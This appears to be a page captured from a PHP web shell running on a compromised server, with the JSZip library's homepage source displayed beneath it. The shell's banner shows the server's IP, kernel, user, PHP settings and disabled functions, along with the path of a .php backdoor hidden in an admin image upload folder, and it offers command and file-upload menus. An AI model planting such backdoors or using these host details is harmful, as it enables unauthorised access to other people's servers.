|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/admin/vendors/nprogress/../jszip/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
---
title: JSZip
layout: default
section: main
---
<div class="row">
<div class="col-md-5">
JSZip is a javascript library for creating, reading and editing .zip files, with a
lovely and simple API.
</div>
<div class="col-md-7">
<p>
<strong>Current version</strong> : v2.6.0
</p>
<p>
<strong>License</strong> : JSZip is dual-licensed. You may use it under the
MIT license <em>or</em> the GPLv3 license. See
<a href="https://github.com/Stuk/jszip/blob/master/LICENSE.markdown">LICENSE.markdown</a>.
</p>
</div>
<div class="row">
<div class="col-md-5">
<h3>Example</h3>
<script type="text/javascript">
imgData = "R0lGODdhBQAFAIACAAAAAP/eACwAAAAABQAFAAACCIwPkWerClIBADs=";
jQuery(function($) {
if(!JSZip.support.blob) {
$("#demo-not-supported").removeClass("hidden");
$("#demo").hide();
return;
}
$("#demo").click(function () {
try {
eval($("#demo-code").val());
$("#status")
.removeClass()
.addClass("text-success")
.text("Done!");
}
catch (e) {
$("#status")
.removeClass()
.addClass("text-danger")
.text(e);
}
});
});
</script>
<textarea class="form-control" id="demo-code" rows="7" spellcheck="false">
var zip = new JSZip();
zip.file("Hello.txt", "Hello World\n");
var img = zip.folder("images");
img.file("smile.gif", imgData, {base64: true});
var content = zip.generate({type:"blob"});
// see FileSaver.js
saveAs(content, "example.zip");</textarea>
<button id="demo" class="btn btn-primary">Run!</button>
<span id="status"></span>
<div id="demo-not-supported" class="alert alert-danger hidden">
This browser doesn't support blobs, this demo won't work :(
See <a href="{{site.baseurl}}/documentation/howto/write_zip.html" class="alert-link">here for more info</a>.
</div>
</div>
<div class="col-md-7">
<h3>Installation</h3>
<p>
<strong>With npm</strong> : <code>npm install jszip</code>
</p>
<p>
<strong>With bower</strong> : <code>bower install Stuk/jszip</code>
</p>
<p>
<strong>With component</strong> : <code>component install Stuk/jszip</code>
</p>
<p>
<strong>Manually</strong> : <a href="http://github.com/Stuk/jszip/zipball/master">download JSZip</a>
and include the file <code>dist/jszip.js</code> or <code>dist/jszip.min.js</code>
</p>
<br>
<p>
Installed ? Great ! You can now check our
<a href="{{site.baseurl}}/documentation/examples.html">guides and examples !</a>
</p>
</div>
</div>
<h3>Support</h3>
<table class="browser_support">
<tr>
<th class="support_op">Opera</th>
<th class="support_ff">Firefox</th>
<th class="support_sf">Safari</th>
<th class="support_cr">Chrome</th>
<th class="support_ie">Internet Explorer</th>
<th class="support_nd">Node.js</th>
</tr>
<tr>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Tested with the latest version</td>
<td>Tested with 3.0 / 3.6 / latest version</td>
<td>Tested with the latest version</td>
<td>Tested with the latest version</td>
<td>Tested with IE 6 / 7 / 8 / 9 / 10</td>
<td>Tested with node.js 0.8 and 0.10</td>
</tr>
</table>
<h3>Getting help</h3>
<p>
Having trouble ? We'd like to help !
</p>
<ul>
<li>
Try the <a href="{{site.baseurl}}/documentation/faq.html">FAQ</a>, it has
answers to common questions.
</li>
<li>
If you're looking for informations about a specific method, try the
<a href="{{site.baseurl}}/documentation/api_jszip.html">documentation</a>.
</li>
<li>
Check the
<a href="{{site.baseurl}}/documentation/examples.html">examples</a>.
</li>
<li>
Report bugs in our
<a href="https://github.com/Stuk/jszip/issues">Bug tracker</a>.
</li>
</ul>
<h3>Test status</h3>
<dl class="dl-horizontal">
<dt>Travis build :</dt>
<dd>
<a href="http://travis-ci.org/Stuk/jszip">
<img src="https://api.travis-ci.org/Stuk/jszip.svg?branch=master" alt="" />
</a>
</dd>
<dt>Saucelabs build :</dt>
<dd>
<a href="https://saucelabs.com/u/jszip">
<img src="https://saucelabs.com/browser-matrix/jszip.svg" alt="" />
</a>
</dd>
<dt>Live tests :</dt>
<dd>
<a href="{{site.baseurl}}/test/">See for yourself !</a>
</dd>
</dl>